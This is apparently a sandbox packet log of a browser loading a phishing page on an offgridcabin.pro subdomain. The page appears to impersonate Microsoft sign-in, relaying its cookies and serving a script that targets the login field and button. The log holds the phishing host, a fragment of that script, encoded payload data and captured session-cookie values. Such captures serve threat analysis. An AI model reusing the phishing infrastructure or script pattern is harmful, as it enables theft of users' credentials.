2025-01-13 20:52:55 UTC	15828	OUT	Data Raw: 36 4d 46 6b 50 57 68 39 6e 34 57 66 74 64 44 37 4c 6e 6c 68 64 6e 4f 6c 54 43 75 35 68 63 68 4a 59 50 39 50 56 68 4a 63 50 24 68 43 68 77 63 68 34 50 41 6c 6b 77 49 55 68 6a 63 6f 68 68 71 47 67 45 59 63 39 4d 6e 39 68 71 64 50 55 6e 7a 68 37 63 6b 39 50 6f 68 78 63 53 32 50 34 4c 44 6e 64 79 51 44 6c 78 4e 69 74 50 56 45 75 6e 68 51 68 33 68 62 6c 53 31 50 37 68 37 68 4a 63 6b 59 68 55 63 37 63 6b 6e 6e 68 6e 5a 68 68 69 43 74 6e 5a 74 6b 4e 68 30 6c 75 6c 37 78 68 4b 68 74 49 50 73 68 33 68 2d 32 68 38 68 55 6e 2d 74 37 4e 68 43 33 35 43 6b 52 68 38 6e 54 43 6b 64 68 4c 6e 5a 45 37 50 68 42 68 6b 67 50 44 74 45 4f 39 55 37 63 68 39 6c 50 55 50 44 68 73 6e 78 74 37 76 68 42 6e 2d 31 68 71 68 2b 6c 5a 63 6b 32 6c 50 55 50 39 50 35 68 62 6c 78 32 6b 35 6c Data Ascii: 6MFkPWh9n4WftdD7LnlhdnOlTCu5hchJYP9PVhJcP$hChwch4PAlkwIUhjcohhqGgEYc9Mn9hqdPUnzh7ck9PohxcS2P4LDndyQDlxNitPVEunhQh3hblS1P7h7hJckYhUc7cknnhnZhhiCtnZtkNh0lul7xhKhtIPsh3h-2h8hUn-t7NhC35CkRh8nTCkdhLnZE7PhBhkgPDtEO9U7ch9lPUPDhsnxt7vhBn-1hqh+lZck2lPUP9P5hblx2k5l
2025-01-13 20:52:56 UTC	1025	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:52:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4776 Connection: close cf-chl-out-s: 0zlk6QHhQh7g3MmmRVd77qf2pYe8bV7KpJ0mPxiB9APa3W2c/zLe+F3BCsEWsWiwdn9lJaVLOKpBggbRv2wvNWtwzggMcfhjX23awFa1oW5bBO2pGWncoQ4xolVFZM6ptOccdMXAi/UgAl/CNCUcJzhVLWqll5abb9UAyImtXnohMMFO93HLSlx//8iUxScsltp8GnrbLBiDrxNykCffkFuGb80M5GSeDdrcf74lp8fwHWahUl1Etf7fe+qwBpmB81E7ndiFNeJf7XvE2ybWhUBt5edOtQERCK1yRDgf6nZaBbxzxAH/79Lka2t1lVb+0a/puRZiddd4HzZpypgS0hzKjYr0tJXYrz3SzrkOv4SsnahLsPYO/lhmFWoJfyE9qhxCFoGVXMp6edeyph6cSLpZ5LJdC0P8sXYMe9En5hr67jrJONmRh62jZ3DIB7+9XL4fHcEJAzQfOP2+xSw4pbivkhgWjopLBkQn5PbvSIsNxE9AoxFrsx6PXrqMgKHQwPLXyd02mc9ZPUayWuaXa7o9RB6J/7Djwj7HbSIWmLPw6csDDaVichPkNPtRIfju22OVTt+0cZGiRhgObKplNIVIOcrlG0eivXqHaBninoU=$uvdc+kppHDiCPYeQwdvysw== cf-chl-out: 3vxIh91fSGDiz6p3hfHUytatxsmUaMBoFn6pqCAxeyQTn/hD/ERxWuIAXUVCOBkx1gRGu4kzRIC8V+dDWDyArmep+RdVLyAx+NQDWVydNhI=$/1EZuZ//+9hFZMvA3K/Jig== Server: cloudflare CF-RAY: 901845d90ce843b9-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:52:56 UTC	344	IN	Data Raw: 6e 5a 65 31 71 34 79 62 69 35 75 2f 73 49 53 68 76 63 36 51 32 4b 43 53 78 38 6e 64 6e 5a 79 79 6c 39 7a 67 74 61 37 6b 33 70 6d 7a 74 62 37 47 77 4e 33 45 75 71 2b 70 33 65 61 71 36 65 48 77 34 73 66 6c 39 4f 62 79 33 2f 54 72 75 2f 6d 31 2f 74 62 79 2b 64 34 44 41 38 59 46 79 67 63 4b 44 63 30 44 44 66 77 42 45 4f 34 42 46 77 7a 62 7a 76 55 4d 30 66 6b 64 2f 52 67 54 49 79 6a 69 33 69 63 6f 4a 75 6f 65 37 65 73 46 45 69 55 4c 41 77 34 74 4d 41 6f 55 42 78 30 4e 50 44 45 53 2b 67 34 66 51 6a 68 46 47 7a 51 56 4f 54 59 55 48 78 63 66 4b 69 49 63 4d 30 6f 52 51 53 5a 42 52 6c 59 56 45 78 55 64 59 43 77 75 48 52 56 55 4d 69 42 49 53 44 38 31 51 44 30 34 49 44 34 73 53 55 38 7a 4c 31 52 58 52 6b 39 57 4d 6e 52 54 53 32 35 70 55 6e 71 42 66 57 31 55 59 6c 68 Data Ascii: nZe1q4ybi5u/sIShvc6Q2KCSx8ndnZyyl9zgta7k3pmztb7GwN3Euq+p3eaq6eHw4sfl9Oby3/Tru/m1/tby+d4DA8YFygcKDc0DDfwBEO4BFwzbzvUM0fkd/RgTIyji3icoJuoe7esFEiULAw4tMAoUBx0NPDES+g4fQjhFGzQVOTYUHxcfKiIcM0oRQSZBRlYVExUdYCwuHRVUMiBISD81QD04ID4sSU8zL1RXRk9WMnRTS25pUnqBfW1UYlh
2025-01-13 20:52:56 UTC	1369	IN	Data Raw: 77 38 4c 44 68 4b 48 52 78 38 33 4a 72 71 75 75 72 73 4b 52 7a 72 48 64 72 35 36 39 33 39 44 59 32 39 69 39 33 37 58 51 34 65 4c 6a 36 71 50 6f 79 62 6e 48 33 38 4c 63 7a 75 50 6d 38 39 50 69 74 65 37 74 74 66 72 50 38 74 47 38 35 50 7a 37 31 2f 50 34 38 75 6a 68 79 75 6e 42 79 75 76 6d 30 4e 38 4c 35 65 59 47 46 4f 67 4e 46 68 33 71 47 75 2f 61 37 66 41 68 33 53 4c 76 4b 69 72 34 47 75 7a 6f 49 2b 59 52 42 65 73 6d 45 41 51 46 4a 79 30 6e 46 78 67 33 4f 78 76 33 2b 54 4d 5a 2f 69 34 6a 45 54 6f 6a 47 6b 42 4c 41 79 77 6c 4d 43 38 49 55 43 6f 6a 53 55 30 69 53 69 4d 35 4e 7a 41 63 52 79 6f 38 4f 30 77 65 4d 57 52 50 5a 43 68 6d 5a 55 59 6a 5a 32 68 71 50 47 39 64 5a 43 74 31 53 31 49 33 65 48 52 77 4f 31 6b 36 61 31 70 34 66 6b 52 55 57 49 42 49 59 45 4a Data Ascii: w8LDhKHRx83JrquursKRzrHdr56939DY29i937XQ4eLj6qPoybnH38LczuPm89Pite7ttfrP8tG85Pz71/P48ujhyunByuvm0N8L5eYGFOgNFh3qGu/a7fAh3SLvKir4GuzoI+YRBesmEAQFJy0nFxg3Oxv3+TMZ/i4jETojGkBLAywlMC8IUCojSU0iSiM5NzAcRyo8O0weMWRPZChmZUYjZ2hqPG9dZCt1S1I3eHRwO1k6a1p4fkRUWIBIYEJ
2025-01-13 20:52:56 UTC	1369	IN	Data Raw: 37 36 78 70 64 47 71 69 64 6e 52 75 39 53 6c 33 4a 72 59 30 64 66 65 74 64 33 62 7a 37 62 59 70 61 6d 35 33 65 57 71 76 75 44 6c 36 38 57 73 73 62 58 4a 79 62 62 4c 32 65 7a 32 39 4c 33 32 2b 74 53 35 30 76 7a 57 77 66 6e 38 79 50 54 5a 42 65 2f 33 79 52 45 4a 7a 4f 63 58 79 41 54 78 31 4e 67 59 48 68 41 58 49 42 63 55 38 2b 34 50 47 50 6b 51 49 65 54 63 43 2f 77 6c 46 78 33 2b 4a 52 73 47 39 43 59 6a 44 69 6b 34 4a 50 51 32 4e 68 41 4f 2b 2f 30 39 4c 54 6f 37 47 79 59 7a 53 68 30 65 53 6b 49 67 4c 6b 35 44 42 55 41 55 55 68 56 55 4f 46 6c 45 4b 31 4a 5a 51 45 77 30 56 56 73 7a 57 56 6c 49 5a 43 64 63 56 31 31 63 61 56 41 2f 50 32 77 75 64 57 6c 6d 57 48 68 50 63 6b 39 50 53 33 67 37 54 6e 4a 35 65 55 4a 55 66 31 6b 2b 65 6e 36 44 50 6b 69 48 68 6d 4b 45 Data Ascii: 76xpdGqidnRu9Sl3JrY0dfetd3bz7bYpam53eWqvuDl68WssbXJybbL2ez29L32+tS50vzWwfn8yPTZBe/3yREJzOcXyATx1NgYHhAXIBcU8+4PGPkQIeTcC/wlFx3+JRsG9CYjDik4JPQ2NhAO+/09LTo7GyYzSh0eSkIgLk5DBUAUUhVUOFlEK1JZQEw0VVszWVlIZCdcV11caVA/P2wudWlmWHhPck9PS3g7TnJ5eUJUf1k+en6DPkiHhmKE
2025-01-13 20:52:56 UTC	1369	IN	Data Raw: 33 46 70 35 4f 56 71 4c 32 38 6e 63 2b 2f 6d 39 47 79 72 39 33 42 74 39 2f 71 71 37 6e 4f 75 4f 54 51 77 64 54 6a 30 2b 76 49 30 2b 58 48 73 2f 6e 70 78 39 7a 65 7a 62 72 75 41 4e 4c 37 31 4f 4c 6f 32 66 59 44 2b 39 62 48 30 41 44 68 7a 78 54 7a 35 75 2f 74 43 4e 51 48 45 76 76 2b 37 42 33 39 32 76 51 56 44 76 55 69 41 78 51 61 41 53 4d 5a 44 75 63 50 45 75 77 4e 45 78 63 70 39 77 34 59 43 43 73 7a 4c 51 77 73 44 79 77 32 48 68 55 55 46 45 4e 4a 4e 69 51 6c 50 52 70 43 54 42 6f 78 55 52 41 30 4e 6a 51 6c 4d 6b 59 54 4d 55 6b 39 4c 52 77 58 51 44 38 66 50 31 4a 6c 4a 45 4a 46 4a 57 64 70 57 54 73 77 58 31 31 6e 63 6c 56 6a 5a 54 56 45 57 46 70 37 50 56 78 58 4f 46 5a 79 55 30 35 4e 55 6e 31 7a 53 57 74 59 61 47 64 5a 67 6c 31 35 63 6f 69 50 55 34 42 32 61 Data Ascii: 3Fp5OVqL28nc+/m9Gyr93Bt9/qq7nOuOTQwdTj0+vI0+XHs/npx9zezbruANL71OLo2fYD+9bH0ADhzxTz5u/tCNQHEvv+7B392vQVDvUiAxQaASMZDucPEuwNExcp9w4YCCszLQwsDyw2HhUUFENJNiQlPRpCTBoxURA0NjQlMkYTMUk9LRwXQD8fP1JlJEJFJWdpWTswX11nclVjZTVEWFp7PVxXOFZyU05NUn1zSWtYaGdZgl15coiPU4B2a
2025-01-13 20:52:56 UTC	325	IN	Data Raw: 58 7a 38 48 68 73 37 6d 78 32 72 75 2b 30 62 4f 2f 79 38 37 63 70 2b 58 52 34 65 4c 6c 31 61 2f 4c 32 4e 72 75 78 39 6e 49 33 4f 44 78 7a 4f 44 75 2b 74 4b 2f 35 2b 4c 57 34 2b 50 73 39 64 7a 6a 38 50 48 37 2f 42 48 4f 46 52 4d 61 47 68 66 35 36 4e 72 55 38 74 6e 59 44 39 34 6a 38 42 63 43 4b 52 72 35 33 66 51 64 36 43 76 76 42 52 4c 72 38 67 67 57 39 6a 55 6d 39 51 51 33 4b 2f 41 4c 4e 2f 37 35 48 42 51 50 45 6a 38 41 47 52 51 38 42 54 77 71 49 41 77 37 50 53 59 72 44 6b 49 35 57 6c 70 4f 53 44 6b 38 54 68 73 71 4b 6b 77 61 55 43 42 42 59 44 70 6b 61 31 38 37 61 43 68 46 4d 46 31 68 53 46 42 32 61 46 56 54 63 58 46 6b 53 7a 5a 4c 66 31 70 66 59 58 74 6d 59 6e 74 45 65 47 68 6f 58 58 5a 75 68 47 46 77 63 57 39 51 66 6e 56 4f 6a 33 61 53 69 32 74 50 6a 6f Data Ascii: Xz8Hhs7mx2ru+0bO/y87cp+XR4eLl1a/L2Nrux9nI3ODxzODu+tK/5+LW4+Ps9dzj8PH7/BHOFRMaGhf56NrU8tnYD94j8BcCKRr53fQd6CvvBRLr8ggW9jUm9QQ3K/ALN/75HBQPEj8AGRQ8BTwqIAw7PSYrDkI5WlpOSDk8ThsqKkwaUCBBYDpka187aChFMF1hSFB2aFVTcXFkSzZLf1pfYXtmYntEeGhoXXZuhGFwcW9QfnVOj3aSi2tPjo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49801	104.18.95.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:56 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1945116169:1736799371:oqWYrklheVvIxV4s1RanDCpHrsoCSPH0m2JWX3kpTuc/901845b24f0c41e0/Of3CPy62WbuABclT3jxmzybeUyjxGUg5boEL32X7soQ-1736801569-1.1.1.1-TDmdVZYLV4LqtnF4bTXyIP.U6R14yzywkyGQLLHcvQFOKkGEivFpN5pHtNnDJe8g HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:56 UTC	375	IN	HTTP/1.1 404 Not Found Date: Mon, 13 Jan 2025 20:52:56 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: q8lraSXTdamOgAuEkhGeWw==$FR9OMmy2HuJrcasNU+vxcQ== Server: cloudflare CF-RAY: 901845df5bdbf795-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:52:56 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49802	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:56 UTC	871	OUT	GET /JLSQqjDK?g=h5xUM2Q HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd
2025-01-13 20:52:57 UTC	20	IN	HTTP/1.1 302 Found
2025-01-13 20:52:57 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:52:57 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:52:57 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2025-01-13 20:52:57 UTC	70	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 68 76 34 71 36 6e 71 6a 30 34 6f 32 64 76 6d 39 6e 32 32 6a 6e 68 69 7a 77 2e 6f 66 66 67 72 69 64 63 61 62 69 6e 2e 70 72 6f 2f 3f 61 75 74 68 3d 32 0d 0a Data Ascii: Location: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2
2025-01-13 20:52:57 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:52:57 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:52:57 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-13 20:52:57 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49803	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:57 UTC	860	OUT	GET /?auth=2 HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd
2025-01-13 20:52:57 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:52:57 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:52:57 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:52:57 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-13 20:52:57 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 32 3a 35 37 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:52:57 GMT
2025-01-13 20:52:57 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-13 20:52:57 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-13 20:52:57 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-13 20:52:57 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-13 20:52:57 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-13 20:52:57 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 73 61 6e 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+san"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49817	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:58 UTC	1294	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999/8f2420ea4a9ef1f09cf039a427ec755182725ef82125633936a0b7b83a6f0a53.js HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd
2025-01-13 20:52:58 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:52:58 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:52:58 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:52:58 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-13 20:52:58 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:52:58 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:52:58 UTC	5	IN	Data Raw: 33 32 36 0d 0a Data Ascii: 326
2025-01-13 20:52:58 UTC	806	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6c 70 28 29 7b 0a 20 20 76 61 72 20 65 6d 61 69 6c 49 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 30 31 31 36 22 29 3b 0a 20 20 76 61 72 20 6e 65 78 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 64 53 49 42 75 74 74 6f 6e 39 22 29 3b 0a 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 20 20 69 66 20 28 2f 23 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 29 7b 0a 20 20 76 61 72 20 72 65 73 20 3d 20 71 75 65 72 79 2e 73 70 6c 69 74 28 22 23 22 29 3b 0a 20 20 76 61 72 20 64 61 74 61 31 20 3d 20 72 65 73 5b 30 5d 3b 0a 20 20 76 61 Data Ascii: function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(window.location.href)){ var res = query.split("#"); var data1 = res[0]; va
2025-01-13 20:52:58 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:52:58 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-13 20:52:58 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49816	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:58 UTC	1229	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd
2025-01-13 20:52:58 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:52:58 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:52:58 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:52:58 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-13 20:52:58 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:52:58 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:52:58 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
